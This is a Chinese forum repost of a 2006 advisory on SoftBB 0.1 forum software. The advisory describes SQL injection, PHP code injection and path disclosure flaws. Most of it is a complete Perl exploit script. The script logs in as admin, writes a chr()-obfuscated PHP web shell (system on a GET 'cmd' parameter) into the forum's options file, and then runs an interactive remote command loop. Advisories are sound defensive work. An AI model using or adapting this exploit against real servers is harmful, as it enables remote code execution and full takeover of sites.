发新话题
打印

[转载]SoftBB多个远程代码执行及信息泄露漏洞

[转载]SoftBB多个远程代码执行及信息泄露漏洞

信息来源:绿盟科技

发布日期:2006-09-04
更新日期:2006-09-05

受影响系统:
SoftBB SoftBB <= 0.1
描述:
--------------------------------------------------------------------------------
SoftBB是一款基于WEB的论坛程序。

SoftBB v0.1中存在多个输入验证错误,如下:

1) 在SQL查询时没有正确的验证对/addmembre.php文件中groupe参数及/moveto.php文件中select参数的输入,允许攻击者执行SQL注入攻击。

2) 在PHP脚本中存储之前没有正确过滤对admin/save_opt.php中多个参数的输入,允许攻击者执行任意PHP代码。成功攻击可能要求管理员权限。

3) 对index.php中page参数的输入没有正确的处理空的或无效的参数,允许攻击者判断安装路径。

<*来源:DarkFig (gmdarkfig@gmail.com
  
  链接:http://acid-root.new.fr/advisories/10060904.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/perl
#
# Affected.scr..: SoftBB 0.1
# Poc.ID........: 11060904
# Type..........: PHP code execution, SQL Injection, Full Path Disclosure
# Risk.level....: High
# Vendor.Status.: Unpatched
# Src.download..: softbb.be
# Poc.link......: acid-root.new.fr/poc/11060904.txt
# Advisory.link.: acid-root.new.fr/advisories/10060904.txt
# Credits.......: DarkFig (vuln/exploit/shellcode)
#
use Getopt::Long;
use HTTP::Cookies;
use HTTP::Request;
use HTTP::Request::Common "POST";
use HTTP::Response;
use LWP::UserAgent;

print STDOUT "\n+", &#39;-&#39; x 69, "+\n";
print STDOUT "|        SoftBB 0.1 Remote PHP Code Execution Exploit         |\n";
print STDOUT &#39;+&#39;, &#39;-&#39; x 69, "+\n";

my($host,$path,$admin,$passwd,$proxh,$proxu,$proxp);
my $opt = GetOptions(
  &#39;host=s&#39;  =>  \$host,
  &#39;path=s&#39;  =>  \$path,
  &#39;admin=s&#39;  =>  \$admin,
  &#39;passwd=s&#39; =>  \$passwd,
  &#39;proxh=s&#39;  =>  \$proxh,
  &#39;proxu=s&#39;  =>  \$proxu,
  &#39;proxp=s&#39;  =>  \$proxp);
  
if(!$host or !$admin or !$passwd) {
   print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] --admin=[root] --passwd=[XD] |\n";
   print STDOUT "| [Options] : --proxh=[host] --proxu=[username] --proxp=[password] ---|\n";
   print STDOUT &#39;+&#39;, &#39;-&#39; x 69, "+\n";
   exit(0);
}

if($host  !~ /http/) {$host = &#39;http://&#39;.$host;}
if($proxh !~ /http/ && $proxh != &#39;&#39;) {$proxh = &#39;http://&#39;.$proxh.&#39;/&#39;;}
if(!$path) {$path = &#39;/&#39;;}

my $cc = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new();
  $ua->cookie_jar($cc);
  $ua->agent(&#39;0xzilla&#39;);
  $ua->timeout(30);
  $ua->proxy([&#39;http&#39;] => $proxh) if $proxh;

my $re = POST $host.$path.&#39;login.php&#39;, [
      &#39;pseudolog&#39; => $admin,
      &#39;mdp&#39;     => $passwd,
      &#39;souvenir&#39;  => &#39;auto&#39;,
      &#39;Submit&#39;   => &#39;Connexion&#39;
      ];
  $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
  $ua->request($re);

my $re = $ua->get($host.$path.&#39;admin/gest_opt.php&#39;);

if($re->content =~ /Administration/) {
  print STDOUT " [+]Login successful";} else {
  print STDOUT " [-]Error during login";
  print STDOUT &#39;+&#39;, &#39;-&#39; x 69, "+\n";
  exit(0);}

if($re->content =~ /<input type="text" name="nomduforum"  value="(.*?)" class="bouton" \/>/) {
  $conf[0] = $1;} else {
  $conf[0] = &#39;Titre&#39;;}

if($re->content =~ /<input type="text" name="mailadmin" value="(.*?)" class="bouton" \/>/) {
  $conf[1] = $1; } else {
  $conf[1] = &#39;root@you.com&#39;;}

  # Bypass magic_quotes_gpc and register_globals limit
  # if(isset($_GET[&#39;cmd&#39;])){system(stripslashes($_GET[&#39;cmd&#39;]));} <- eval()

my $shcode  = "\n".&#39;$shcode  = chr(0x69).chr(0x66).chr(0x28).chr(0x69).chr(0x73).chr(0x73).chr(0x65);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x74).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x29).chr(0x29).chr(0x7B).chr(0x73).chr(0x79).chr(0x73).chr(0x74);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x65).chr(0x6D).chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x70).chr(0x73).chr(0x6C).chr(0x61).chr(0x73).chr(0x68).chr(0x65);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x73).chr(0x28).chr(0x24).chr(0x5F).chr(0x47).chr(0x45).chr(0x54);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x5B).chr(0x27).chr(0x63).chr(0x6D).chr(0x64).chr(0x27).chr(0x5D);&#39;;
  $shcode .= "\n".&#39;$shcode .= chr(0x29).chr(0x29).chr(0x3B).chr(0x7D).chr(0x0D).chr(0x0A);&#39;;
  $shcode .= "\n".&#39;eval($shcode);//&#39;;

my $re = POST $host.$path.&#39;admin/save_opt.php&#39;, [
      &#39;nomduforum&#39;     => $conf[0],      &#39;url&#39;          => $host.$path,
      &#39;mailadmin&#39;      => $conf[1],      &#39;smtp&#39;         => &#39;&#39;,
      &#39;nbsondage&#39;      => 0,          &#39;gzip&#39;         => &#39;false&#39;,
      &#39;autmodpseudo&#39;    => &#39;false&#39;,      &#39;afflistdelauto&#39;  => &#39;true&#39;,
      &#39;autorisationsign&#39; => &#39;true&#39;,       &#39;bbcodesign&#39;     => &#39;true&#39;,
      &#39;ipaff&#39;        => &#39;true&#39;,       &#39;affreprapide&#39;    => &#39;false&#39;,
      &#39;mailconf&#39;      => &#39;false&#39;,      &#39;cache_forum&#39;    => "false; $shcode",
      &#39;lockforum&#39;      => &#39;false&#39;,      &#39;message_de_lock&#39;  => &#39;&#39;,
      &#39;lmax&#39;         => 0,          &#39;hmax&#39;         => 0,
      &#39;pmax&#39;         => 0,          &#39;tmpfreepost&#39;    => 0,
      &#39;membreparpage&#39;   => 0,          &#39;postparpage&#39;    => 0,
      &#39;postparpageaff&#39;  => 0,          &#39;Submit&#39;        => &#39;Enregistrer+les+options&#39;,
      ];

my $da = $ua->request($re);
if($da->content =~ /Enregistrement/) {
  print STDOUT "\n [+]Shellcode should be written !";}
  
while () {
     print STDOUT "\n \$sh: ";
     chomp($cmd = <STDIN>);
     my $da = $ua->get($host.$path."info_options.php?cmd=$cmd");
     print STDOUT $da->content;
     if($cmd eq "exit") {
       print STDOUT &#39;+&#39;, &#39;-&#39; x 69, "+\n";
       exit(0);}
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

SoftBB
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.softbb.be/

TOP

发新话题